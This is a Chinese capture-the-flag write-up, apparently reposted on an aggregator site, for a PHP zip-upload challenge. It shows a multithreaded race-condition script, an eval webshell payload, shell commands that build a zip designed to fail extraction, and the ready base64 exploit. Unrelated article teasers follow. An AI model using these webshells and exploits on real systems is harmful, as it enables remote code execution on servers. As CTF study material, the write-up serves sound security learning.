NSS [鹏城杯 2022]压缩包

NSS [鹏城杯 2022]压缩包

考点:条件竞争/逻辑漏洞(解压失败不删除已经解压文件)

参考:回忆phpcms头像上传漏洞以及后续影响 | 离别歌 (leavesongs.com)

源码有点小多

image-20230708160120785

<?php
highlight_file(__FILE__);function removedir($dir){$list= scandir($dir);foreach ($list as  $value) {if(is_file($dir.'/'.$value)){unlink($dir.'/'.$value);}else if($value!="."&&$value!=".."){removedir($dir.'/'.$value);}}
}function unzip($filename){$result = [];$zip = new ZipArchive();$zip->open($filename);$dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);if(!is_dir($dir)){mkdir($dir);}if($zip->extractTo($dir)){foreach (scandir($dir) as  $value) {$file_ext=strrchr($value, '.');$file_ext=strtolower($file_ext); //转换为小写$file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext=trim($file_ext); //收尾去空if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){removedir($dir);}if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){if(is_file($dir."/".$value)){unlink($dir."/".$value);}else{if($value!="."&&$value!="..")array_push($result,$value);}}}$zip->close();unlink($filename);return json_encode($result);}else{return false;}
}
$content= $_REQUEST['content'];
shell_exec('rm -rf /tmp/*');
$fpath ="/tmp/".md5($content); 
file_put_contents($fpath, base64_decode($content));
echo unzip($fpath);
?>

分析解释一下代码:(看完发现这段代码实现了指定目录解压功能)

<?php
// 输出当前文件的源代码
// __FILE__ 是一个常量,表示当前文件的完整路径
// highlight_file() 函数用于将文件的源代码进行高亮显示
highlight_file(__FILE__);// 定义一个递归函数 removedir(),用于删除指定目录下的所有文件和子目录
// 参数 $dir 表示要删除的目录的路径
function removedir($dir){// 使用 scandir() 函数获取目录中的文件和子目录列表// 返回一个数组,包含目录中的所有条目(包括 . 和 ..)$list= scandir($dir);// 遍历目录中的每个条目foreach ($list as  $value) {// 如果当前条目是一个文件if(is_file($dir.'/'.$value)){// 使用 unlink() 函数删除文件unlink($dir.'/'.$value);// 如果当前条目是一个子目录}else if($value!="."&&$value!=".."){// 递归调用 removedir() 函数,删除子目录中的文件和子目录removedir($dir.'/'.$value);}}//闭合foreach
}//闭合function// 定义一个函数 unzip(),用于解压缩指定的 ZIP 文件
// 参数 $filename 表示要解压缩的文件的路径
function unzip($filename){// 定义一个空数组 $result,用于存储解压缩后的结果 $result = [];//创建一个 ZipArchive 类的实例,用于操作 ZIP 文件$zip = new ZipArchive();// 使用 open() 方法打开要解压缩的 ZIP 文件$zip->open($filename);// 根据 ZIP 文件名创建一个目录路径,用于存储解压缩后的文件    $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);// 如果目录不存在,则创建【目录】if(!is_dir($dir)){mkdir($dir);}// 使用 extractTo() 方法将 ZIP 文件解压缩到指定目录if($zip->extractTo($dir)){// 遍历目录中的每个文件和子目录foreach (scandir($dir) as  $value) {// 使用 strrchr() 函数获取文件的扩展名(包括点号)$file_ext=strrchr($value, '.');// 将文件扩展名(如.txt)转换为小写字母$file_ext=strtolower($file_ext); // 去除文件扩展名中的字符串 "::$DATA"$file_ext=str_ireplace('::$DATA', '', $file_ext);// 去除文件扩展名的首尾空格$file_ext=trim($file_ext); // 如果当前条目是一个子目录,并且不是当前目录 (.) 和上级目录 (..)if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){// 递归调用 removedir() 函数,删除子目录中的文件和子目录removedir($dir);}// 如果文件扩展名不匹配指定的图片扩展名(jpg、png、gif、jpeg)if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){// 如果当前条目是一个文件if(is_file($dir."/".$value)){// 使用 unlink() 函数删除文件unlink($dir."/".$value);}else{if($value!="."&&$value!="..")// 将文件名添加到结果数组中array_push($result,$value);	}}//闭合if}//闭合foreach// 关闭 ZIP 文件$zip->close();   // 删除原始 ZIP 文件unlink($filename);   // 返回解压后的文件名数组的 JSON 字符串表示return json_encode($result);   } else {// 如果解压失败,返回 falsereturn false;   }
}$content = $_REQUEST['content'];   
// 获取通过请求参数 content 传递的值
shell_exec('rm -rf /tmp/*');   
// 执行 shell 命令,删除 /tmp 目录下的所有文件和子目录。**/tmp/** 是一个 Linux/Unix 系统中的临时目录,常用于存放临时文件,通常这些文件在系统重启时会被清空。
$fpath = "/tmp/".md5($content);   
// 生成一个临时文件路径,将内容写入临时文件
file_put_contents($fpath, base64_decode($content));   
// 将解码后的内容写入临时文件
echo unzip($fpath);   
// 调用 unzip 函数,解压临时文件,并将结果输出。
?>

==方法一:==条件竞争:【还不是很理解】

这里直接cv羽师傅的了

首先看这个代码的逻辑,我们的可控点是content,同时可以写入文件进去,在unzip函数中extractTo可以解压/tmp的文件到 S E R V E R [ ′ D O C U M E N T R O O T ′ ] . " / s t a t i c / u p l o a d / " . m d 5 ( _SERVER['DOCUMENT_ROOT']."/static/upload/".md5( SERVER[DOCUMENTROOT]."/static/upload/".md5(filename),然后经过一大堆过滤,最后就是unlink删除文件,所以我们可以进行条件竞争,在解压文件和删除文件进行竞争

1、将如下php内容压缩生成zip文件。

<?php 
echo '11111';
file_put_contents('/var/www/html/x.php','<?php eval($_POST[1]);?>');
?>

​ 2、条件竞争脚本如下

#author:yu22x
import io
import requests
import threading
import hashlib
import base64
url="http://192.168.1.110:8521/"
sess=requests.session()
s = open('a.zip','rb').read()
content=base64.b64encode(s)
data={'content':content}
i = hashlib.md5(content)
md=hashlib.md5(('/tmp/'+str(i.digest().hex())).encode())def write(session):while True:resp = session.post( url,data=data )
def read(session):while True:resp = session.get(url+f'static/upload/{md}/a.php')if resp.status_code==200:print('yes')
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,30):threading.Thread(target=write,args=(session,)).start()for i in range(1,30):threading.Thread(target=read,args=(session,)).start()event.set()

通过蚁剑连接x.php密码为1,根目录下拿到flag

==方法二:==解压失败逻辑漏洞:

我们可以通过zip解压失败的方式来写入shell,只要压缩包中目录名和一个文件名相同,这样解压时候会报错,但是文件已经解压出来了。这一点,P神的文章中有,感兴趣的师傅可以去看看,连接在wp最上面。

关键代码:

if($zip->extractTo($dir)){
// 使用 extractTo() 方法将 ZIP 文件解压缩到指定目录
。。。
。。。
。。。
。。。
。。。
} else {return false;   // 如果解压失败,返回 false,退出函数。
}

不难看出,如果解压失败,那么直接return,退出unzip方法。同时,虽然解压失败,但是我们包含恶意代码的shell.php已经解压出来了。

具体实现用一下zouyii师傅的实现步骤

1、手动创建一个shell.php,内容为<?php @eval($_POST['jay'])?>

2、在linux中输入以下命令创建压缩包,其中在同名文件夹中需要随便加入一点文件进去(windows下试了试没成功)

zip -y exp.zip shell.php    //把shell.php文件压缩进exp.zip
rm shell.php          //删除shell.php文件
mkdir shell.php       //创建shell.php文件夹
echo 1 > ./shell.php/1     //把1存进当前目录下shell.php文件中名字为1的文件中(可导致解压失败)
zip -y exp.zip shell.php/1   //把shell.php文件夹及其下1文件压缩进exp.zip

image-20230708173432609

然后我们将exp.zip复制出来,我们尝试解压一下,发现会报错,但是shell.php已经解压出来了。(具体报错的原因是文件夹和文件重名,都叫shell.php)

image-20230708174441157

image-20230708174457322

经过测试验证,Windows下不允许文件夹和文件重名,而Linux下却可以

image-20230708224838790

然后我们写一段脚本,将该压缩包的字节base64加密

import base64tmp = open("C:\\Users\\86159\\Desktop\\exp.zip","rb").read()
print(base64.b64encode(tmp))

得到UEsDBAoAAAAAALqL6FbcmEX2HQAAAB0AAAAJABwAc2hlbGwucGhwVVQJAAOQLKlkkCypZHV4CwABBOgDAAAE6AMAADw/cGhwIEBldmFsKCRfUE9TVFsnamF5J10pPz4KUEsDBAoAAAAAAC+M6FZT/FFnAgAAAAIAAAALABwAc2hlbGwucGhwLzFVVAkAA2ktqWRxLalkdXgLAAEE6AMAAAToAwAAMQpQSwECHgMKAAAAAAC6i+hW3JhF9h0AAAAdAAAACQAYAAAAAAABAAAApIEAAAAAc2hlbGwucGhwVVQFAAOQLKlkdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAL4zoVlP8UWcCAAAAAgAAAAsAGAAAAAAAAQAAAKSBYAAAAHNoZWxsLnBocC8xVVQFAANpLalkdXgLAAEE6AMAAAToAwAAUEsFBgAAAAACAAIAoAAAAKcAAAAAAA== (掐头去尾)

hackbar发个POST包,发现报错。那就是成功解压失败了。

==注意!!!==如果没出来红框上的报错信息,那就是url编码出问题了,火狐和谷歌的hackbar、burp、手动url编码,自己都可以试试。(忠告,要不然有些师傅和我一样要睡不着的哈哈哈哈哈)

image-20230708232838391

此时我们查看一下,解压成功的文件会上传到什么路径。

文件的路径,按代码执行顺序来是如下这样的:

1$fpath ="/tmp/".md5($content); 
2file_put_contents($fpath, base64_decode($content));
3$dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
4//1、时,md5($content)=9746378d7516a671648f4f9f5d4f8949,所以$fpath=/tmp/9746378d7516a671648f4f9f5d4f8949
//3、时$filename=$fpath。md5($filename)=c7c1c9f96bc7319aff35a1cfa90d7d98。$_SERVER['DOCUMENT_ROOT']=根目录的路径(这个变量是PHP内置变量),此时$dir=根目录/static/upload/c7c1c9f96bc7319aff35a1cfa90d7d98  
//综上,最后我的shell.php在   /static/upload/c7c1c9f96bc7319aff35a1cfa90d7d98/shell.php中

注意一下路径,然后就可以RCE了。

image-20230708233148331

当然,破坏压缩包的方法不止这一种。以下是另外的师傅破坏压缩包的方法,没下010就不复现了。

准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php是webshell。然后将这两个文件压缩成shell.zip。然后使用010编辑器把压缩包打开,把2.txt改成五个斜杠。由于这种命名方式在Linux下会报错,因此在解压完1.php后会报错,就不会执行删除操作。但是1.php就留在服务器上了。

文件路径中提到了PHP内置变量,这里补充一下:

1、$_SERVER['DOCUMENT_ROOT'] // 根目录的路径2、$_SERVER['HTTP_HOST']  // 域名,比如:localhost3、$_SERVER['PHP_SELF'] // 从根目录到PHP文件本身的路径4、$_SERVER['SCRIPT_FILENAME'] // 文件的绝对路径5、$_SERVER['REQUEST_URI']  // 从根目录开始所有的URL6、$_SERVER['REQUEST_METHOD']  // 请求的方法

假设PHP代码在/www/admin/localhost_80/wwwroot/1.php

运行这段PHP代码:

<?phpvar_dump($_SERVER['DOCUMENT_ROOT']);
var_dump($_SERVER['HTTP_HOST']);
var_dump($_SERVER['PHP_SELF']);
var_dump($_SERVER['SCRIPT_FILENAME']);
var_dump($_SERVER['REQUEST_URI']);
var_dump($_SERVER['REQUEST_METHOD']);

输出:

string(32) "/www/admin/localhost_80/wwwroot/" 
string(13) "120.46.41.173" 
string(6) "/1.php" 
string(37) "/www/admin/localhost_80/wwwroot/1.php" 
string(6) "/1.php" 
string(3) "GET"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/137207.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

不想努力了,有没有不用努力就能考上硕士的方法

今年&#xff0c;硕士研究生考试报考人数再次刷新了纪录&#xff0c;高达474万人次。 这些年考研一直在扩招&#xff0c;但是录取率却越来越低&#xff0c;内卷血腥程度可想而知&#xff01; 2020年研究生报考人数341万&#xff0c;录取人数99.05万&#xff0c;录取率29.05%。…

物联网水表有什么弊端吗?

物联网水表作为新一代智能水表&#xff0c;虽然在很大程度上提高了水资源的管理效率&#xff0c;但也存在一定的弊端。在这篇文章中&#xff0c;我们将详细讨论物联网水表的弊端&#xff0c;以帮助大家更全面地了解这一技术。 一、安全隐患 1.数据泄露&#xff1a;物联网水表通…

Zabbix深入解析与实战

1.Zabbix 1.1.监控概述 监控是指对行为、活动或其他变动中信息的一种持续性关注&#xff0c;通常是为了对人达成影响、管理、指导或保护的目的 监控 监视主机架构状态控制&#xff0c;事后追责目标&#xff1a;早发现早处理(故障、性能、架构) 网站扩容(用数据说话) 为什么要…

基于SSM的社区生鲜电商平台

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 目录…

Google Analytics优缺点分析

Google Analytics是一款广泛使用的网站分析工具&#xff0c;它能够帮助网站和应用程序的拥有者收集和分析数据&#xff0c;并提供有关用户行为、流量来源和转化率等方面的详细见解。本文小编将讲讲关于Google Analytics的优缺点分析。 一、Google Analytics优点 1、免费使用&a…

万宾科技内涝积水监测仪使用效果一览

当一个城市突降暴雨&#xff0c;对城市管理部门来讲首当其中的是防止积水成患。随着城市人口快速增长&#xff0c;基础设施建设也日益受到更多的关注&#xff0c;城市内涝问题频繁增加&#xff0c;会给城市带来严重的经济损失和人员的安全问题。城市生命线工程建设过程中&#…

线程池创建、执行、销毁的原理解析

目录 线程池的执行原理线程执行参考&#xff1a; 线程池的执行原理 假设最大核心数是2&#xff0c;非核心线程数为1&#xff0c;队列长度是3 来第一个任务的时候&#xff0c;没有工作线程在工作&#xff0c;需要创建一个 来第二个任务的时候&#xff0c;发现当前核心线程数…

数字滤波器分析---零极点分析

数字滤波器分析---零极点分析 zplane 函数绘制线性系统的极点和零点。 例如&#xff0c;在 -1/2 处为零且在 0.9e−j2π0.3 和 0.9ej2π0.3 处有一对复极点的简单滤波器为 zer -0.5; pol 0.9*exp(j*2*pi*[-0.3 0.3]); 要查看该滤波器的零极点图&#xff0c;您可以使用 z…

Simulia仿真之CST的使用指南(1) | 百世慧®

前言 CST是Computer Simulation Technology的缩写,是全球范围内众多工程师都喜欢使用的高端电磁仿真分析软件。 本文又名《智慧的CST生活》这里一共列出了120个章节&#xff0c;其中包括CST使用过程中的有用小技巧&#xff0c;还有给用户提供技术支持的过程中常见的问题。本专…

金蝶云星空表单插件实现父窗体打开子窗体,并携带参数到子窗体

文章目录 金蝶云星空表单插件实现父窗体打开子窗体&#xff0c;并携带参数到子窗体父窗体打开子窗体准备设置携带参数打开子窗体子窗体接收参数 金蝶云星空表单插件实现父窗体打开子窗体&#xff0c;并携带参数到子窗体 父窗体打开子窗体准备 BillShowParameter OtherInAdd n…

TDD、BDD、ATDD以及SBE的概念和区别

在软件开发或是软件测试中会遇到以下这些词&#xff1a;TDD 、BDD 、ATDD以及SBE&#xff0c;这些词代表什么意思呢&#xff1f; 它们之间有什么关系吗&#xff1f; TDD 、BDD 、ATDD以及SBE的基本概念 TDD&#xff1a;&#xff08;Test Driven Development&#xff09;是一种…

Git 入门使用

一、Git 入门 1.1 Git简介 Git是一个开源的分布式版本控制系统&#xff0c;用于敏捷高效地处理任何或小或大的项目。Git是由Linus Torvalds为了帮助管理Linux内核开发而开发的一个开放源码的版本控制软件。 Git是目前世界上最先进的分布式版本控制系统&#xff0c;没有之一&a…

行情分析——加密货币市场大盘走势(11.10)

大饼今日继续上涨&#xff0c;正如预期&#xff0c;跌不下来&#xff0c;思路就是逢低做多。现在已经上涨到36500附近&#xff0c;目前从MACD日线来看&#xff0c;后续还要继续上涨&#xff0c;当然稳健的可以不做。昨日的策略已经达到止盈&#xff0c;也是顺利的落袋为安啦。一…

黑洞路由的几种应用场景

第一种在内网中产生环路&#xff1a; 这种核心交换机上肯定写一条默认路由 0.0.0.0 0 10.0.0.1 出口路由要写一条192.168.0.0 16 10.0.0.2 如果出口路由访问一条不存在的内网网段&#xff0c;又或者访问的那台终端停机了&#xff0c;那就会产生三层环路&#xff0c;数据包在…

Sentinel网关限流

背景 在微服务架构下&#xff0c;每个服务的性能都不同&#xff0c;为避免出现流量洪峰将服务冲垮&#xff0c;需要依赖限流工具来保护服务的稳定性。sentinel是阿里提供的限流工具&#xff0c;社区活跃&#xff0c;功能也很全面&#xff0c;包含实时监控、流控、熔断等功能。…

实现智慧工地的高效建筑管理,数据分析起着关键作用!

智慧工地是利用物联网、云计算、大数据等技术&#xff0c;实现对建筑工地实时监测、管理和控制的一种新型建筑管理方式。 智慧工地架构&#xff1a; 1、终端层&#xff1a;充分利用物联网技术、移动应用、智能硬件设备提高现场管控能力。通过RFID、传感器、摄像头、手机等终端…

很多个pdf怎么合并在一起?

很多个pdf怎么合并在一起&#xff1f;作为一个办公室的伙伴&#xff0c;对于PDF格式肯定不会陌生。它强大的功能为我们的工作提供了许多便利。由于PDF文件格式的稳定性和安全性较高&#xff0c;我们通常在工作或学习中使用它来传输文件&#xff0c;很多人都喜欢将办公文件都做成…

NVM安装node后提示没有对应npm包(即:无法将“npm”项识别为 cmdlet、函数、脚本文件)

背景 windows11 node版本降低到v12.22.12后&#xff0c;执行&#xff1a;nvm -v npm -v npm : 无法将“npm”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写&#xff0c;如果 包括路径&#xff0c;请确保路径正确&#xff0c;然后再试一次。 所在位置 …

Python 解决tkinter的Menu菜单command参数与bind方法共用触发事件

用普通函数作为媒介&#xff0c;使用event_generate()方法模拟触发bind()事件来创建一个模拟的event对象&#xff0c;并将其传递给绑定的事件处理函数。 运行结果 示例代码 import tkinter as tk# 菜单事件 def menuEvent(event):print(event.x, event.y)label.config(textf鼠…

OC-编译错误

明明包含了头文件&#xff0c;但是还是显示未知的类型 可能这个头文件被某个宏包住了 #if defined(__cplusplus) 在 C 代码中包含了一个 C 的头文件会显示这个错误“the util lib only be used in c”&#xff0c;此时用 #if defined(__cplusplus) #endif 包一下就行了&…